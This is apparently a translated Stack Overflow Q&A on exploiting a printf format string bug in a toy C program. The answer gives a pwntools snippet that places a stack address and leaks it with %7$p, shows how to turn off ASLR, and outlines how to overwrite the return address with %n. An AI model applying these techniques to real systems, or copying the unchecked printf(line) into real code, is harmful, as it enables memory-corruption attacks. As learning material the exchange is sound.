c - C格式字符串漏洞，如何获取缓冲区中的地址

我有一个用fgets循环和读取stdin的程序。整个读取循环位于一个函数中，我正试图用printf漏洞覆盖该函数的返回地址。返回地址位于0xbfff0fc（它是0x2a20029e），堆栈上的缓冲区由输入AAAA（0x41414141）标识。

0xbffff0b0: 0x0000000a  0x00000020  0xb7fc7c20  0xb7e4fd94
0xbffff0c0: 0xb7fc73cc  0xbffff0dc  0x41414141  0x66740000
0xbffff0d0: 0x785c2220  0x785c3439  0x785c3739  0x785c3430
0xbffff0e0: 0x29223830  0xb7fc0000  0x5da95700  0x00000000
0xbffff0f0: 0x00000000  0xb7fc7000  0x00000000  0x2a20029e

因此，根据我的理解，我需要在缓冲区中写入0xbfff0fc，然后可以使用%x%6$n（k是一个整数）将任意值写入0xbfff0fc。
所以输入应该是这样的：%x%6$n。我的问题是如何写，以便它是堆栈上的0xbfff0fc。单凭ASCII字符我真的做不到。
编辑：添加程序

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int function1()
{
  char line[32];
  size_t size;
  while(1)
  {
    if (!fgets(line, sizeof(line), stdin))
    {
      return 0;
    }

    size = strlen(line);
    line[size - 1] = '\0';
    printf(line);
    printf("\n");
  }
  return 0;
}

int main(int argc, char** argv)
{
    function1();
    return 0;
}

最佳答案

很高兴看到人们在这里询问安全问题。
我想你可以看看pwntools。
这是一个写漏洞的工具。
下面是一个简单的代码片段。

#!/usr/bin/env python2
from pwn import *
# a.out is your executable file
s = process('./a.out')
payload = p32(0xbffff0fc)+"%7$p"
# p32() is a function to pack your integer in little endian order
s.sendline(payload)
s.interactive()

输出将是一些不可打印的字符加上0xbffff0fc
▒▒0xbffff0fc
为了进一步解释，line变量已经在堆栈上。
但您必须禁用ASLR保护才能修复堆栈地址。
否则，每次执行程序时。
您的行变量地址将不同。
禁用它：
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
启用它：
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
但是，我不认为您的问题是如何将0xbffff0fc写入堆栈。
您的问题应该是如何在启用line的情况下获取ASLR的变量地址。
这是策略。
泄漏堆栈帧的ebp，然后可以计算line变量的地址（这一部分很重要）
执行与前一个示例开发相同的操作。
然后，使用%n重写函数的返回地址。
如果你有问题，可以问我。

关于c - C格式字符串漏洞，如何获取缓冲区中的地址，我们在Stack Overflow上找到一个类似的问题：https://stackoverflow.com/questions/41353503/